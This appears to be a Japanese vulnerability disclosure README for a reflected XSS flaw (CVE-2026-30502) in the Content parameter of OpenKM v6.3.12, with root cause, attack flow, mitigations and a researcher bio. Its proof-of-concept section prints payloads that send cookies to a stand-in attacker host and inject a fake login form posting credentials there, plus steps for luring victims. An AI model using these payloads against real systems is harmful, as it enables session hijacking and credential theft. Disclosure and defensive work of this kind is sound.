🛡️ CVE-2026-30502 — OpenKM v6.3.12 における反射型XSS

📌 目次

• 概要
• CVE 詳細
• 影響を受ける製品
• 脆弱性の説明
• 根本原因分析
• 影響とリスク評価
• 概念実証 (PoC)
• 修正と推奨事項
• 開示のタイムライン
• 参考文献
• 研究者について

🔍 概要

このリポジトリは、CVE-2026-30502 の責任ある開示を文書化したものです。これは、企業や政府機関で広く使用されているオープンソースの文書管理システム OpenKM v6.3.12 で特定された 反射型クロスサイトスクリプティング (XSS) 脆弱性です。

この脆弱性は、Content パラメータに存在し、ユーザーが提供した入力を適切なサニタイズや出力エンコーディングなしにブラウザに反映させます。攻撃者は、埋め込まれた JavaScript を含む悪意のある URL を作成し、ソーシャルエンジニアリングにより被害者にそれをクリックさせることができ、被害者のブラウザセッション内でスクリプトが実行されます。

⚠️ 深刻度: 中～高 | 攻撃ベクトル: ネットワーク | 必要な権限: なし | ユーザー操作: 必要

📋 CVE 詳細

📦 影響を受ける製品

OpenKM は、ビジネス文書の管理、監査、配布を行うためのウェブインターフェースを提供する、フリーでオープンソースの文書管理システム (DMS) です。世界中の企業、政府機関、教育機関で使用されています。

• 製品名: OpenKM 文書管理システム
• 影響を受けるバージョン: v6.3.12
• ベンダーウェブサイト: https://www.openkm.com
• カテゴリ: 文書管理システム (DMS)
• 言語 / スタック: Java (JSP / Spring Framework)

🧨 脆弱性の説明

反射型クロスサイトスクリプティング (XSS) 脆弱性が、OpenKM v6.3.12 の Content パラメータを介して特定されました。アプリケーションは、ユーザーが提供した入力を HTTP レスポンス本文に反映させる前に検証またはエンコードせず、任意の JavaScript が被害者のブラウザで注入・実行される可能性があります。

保存型 XSS とは異なり、反射型 XSS のペイロードはデータベースに永続化されず、細工された URL 内に埋め込まれます。攻撃は、被害者が悪意のあるリンク (メール、ソーシャルメディア、フィッシングキャンペーン経由で配信) をクリックするように誘導されることに依存し、ペイロードは被害者のブラウザでセッションコンテキストとともに静かに実行されます。

攻撃フロー

攻撃者が悪意のあるURLを作成
        │
        ▼
被害者がリンクをクリック (フィッシング / ソーシャルエンジニアリング)
        │
        ▼
ブラウザが `Content` パラメータにペイロードを含む GET/POST リクエストを送信
        │
        ▼
OpenKM がサニタイズされていない入力をそのまま HTML レスポンスに反映
        │
        ▼
ブラウザが注入された JavaScript を解析・実行
        │
        ▼
セッションの乗っ取り / 認証情報の収集 / アカウントの侵害

🔬 根本原因分析

この脆弱性は、Content パラメータに対する入出力セキュリティ制御がアプリケーションで実施されていないことに起因します:

ユーザー作成URL ──► Content パラメータ ──► [検証なし]
       ──► HTML レスポンスに反映 ──► [エンコーディングなし]
              ──► ブラウザがスクリプトを実行 ──► アカウント侵害

💥 影響とリスク評価

この脆弱性の悪用に成功すると、次のような影響が生じる可能性があります:

🧪 概念実証 (PoC)

⚠️ 免責事項: 以下の情報は、責任ある開示の原則に基づき、教育およびセキュリティ研究目的でのみ共有されています。所有していない、または明示的な書面による許可を得ていないシステムに対してテストや使用を行わないでください。

ペイロード例 (汎用)

// 基本的な実行の証明
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>

// セッションCookieの外部送信
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>

// 認証情報フィッシングオーバーレイ
<script>
  var d=document.createElement('div');
  d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
    +'<input name="u" placeholder="ユーザー名"/>'
    +'<input name="p" type="password" placeholder="パスワード"/>'
    +'<button>サインイン</button></form>';
  document.body.prepend(d);
</script>

細工された悪意のある URL 構造

https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>

再現手順

1. OpenKM v6.3.12 で Content パラメータを反映する脆弱なエンドポイントを特定します
2. Content パラメータに XSS ペイロードを追加した URL を作成します
3. 必要に応じてペイロードを URL エンコードします
4. 細工されたリンクを電子メール、チャット、またはその他のソーシャルエンジニアリング手段で被害者に送信します
5. 被害者が自分の認証済みブラウザセッションでリンクを開くと、ペイロードが実行されます
6. JavaScript の実行、Cookie の盗難、リダイレクト動作を確認します

🛠️ 修正と推奨事項

開発者 / ベンダー向け

システム管理者向け

• 🔒 OpenKM へのアクセスをファイアウォールルールで内部/信頼できるネットワークに制限します
• 🛡️ XSS 検出シグネチャを備えた Web アプリケーションファイアウォール (WAF) を補完的制御として展開します
• 📊 Web サーバーのアクセスログで、クエリ文字列内の予期しないスクリプトタグやエンコードされたペイロードを監視します
• 🔄 OpenKM のインストールを最新のセキュアリリースに更新し続けます
• 📧 ユーザーに、DMS への不審なリンクをクリックしないよう注意を促します

📅 開示のタイムライン

公開前にベンダーとの調整や CVE プログラムへの関与を含め、このプロセス全体を通じて完全な責任ある開示の原則が守られました。

📚 参考文献

• 🔗 MITRE CVE エントリ — CVE-2026-30502
• 🔗 NVD — 国家脆弱性データベース
• 🔗 OpenKM 公式ウェブサイト
• 🔗 OWASP XSS 防止チートシート
• 🔗 CWE-79: クロスサイトスクリプティング
• 🔗 OWASP Top 10 — A03:2021 インジェクション
• 🔗 OWASP Java Encoder

👨‍💻 研究者について

Dharmendra Kumar は、独立したサイバーセキュリティ研究者であり、Web アプリケーションセキュリティ、ペネトレーションテスト、責任ある脆弱性開示を専門としています。彼の研究は、広く使用されているソフトウェアの現実世界のセキュリティ上の欠陥を特定し、責任を持って報告することに焦点を当てており、世界中のユーザーにとってより安全なアプリケーションに貢献しています。

専門分野:

• 🌐 Web アプリケーションペネトレーションテスト
• 🐛 バグバウンティハンティングと CVE 研究
• 🔍 脆弱性発見とセキュリティアドバイザリ
• 📋 責任ある開示と調整された CVE レポート

私とつながる:

⚖️ 法的免責事項

このリポジトリは、教育および情報提供のみを目的としています。脆弱性の詳細と概念実証のペイロードは、責任ある開示の原則に従って公開されています。著者は、この情報の無許可の使用を容認せず、その責任を負いません。所有していないシステムに対してセキュリティテストを実施する前に、常に明示的な書面による許可を取得してください。

🙏 謝辞

特別な感謝を:

• 調整された開示中の協力と対応に対して OpenKM 開発チーム
• CVE 識別子の割り当てと管理に対して MITRE CVE プログラム
• アプリケーションセキュリティの水準を継続的に引き上げている世界中の セキュリティ研究およびバグバウンティコミュニティ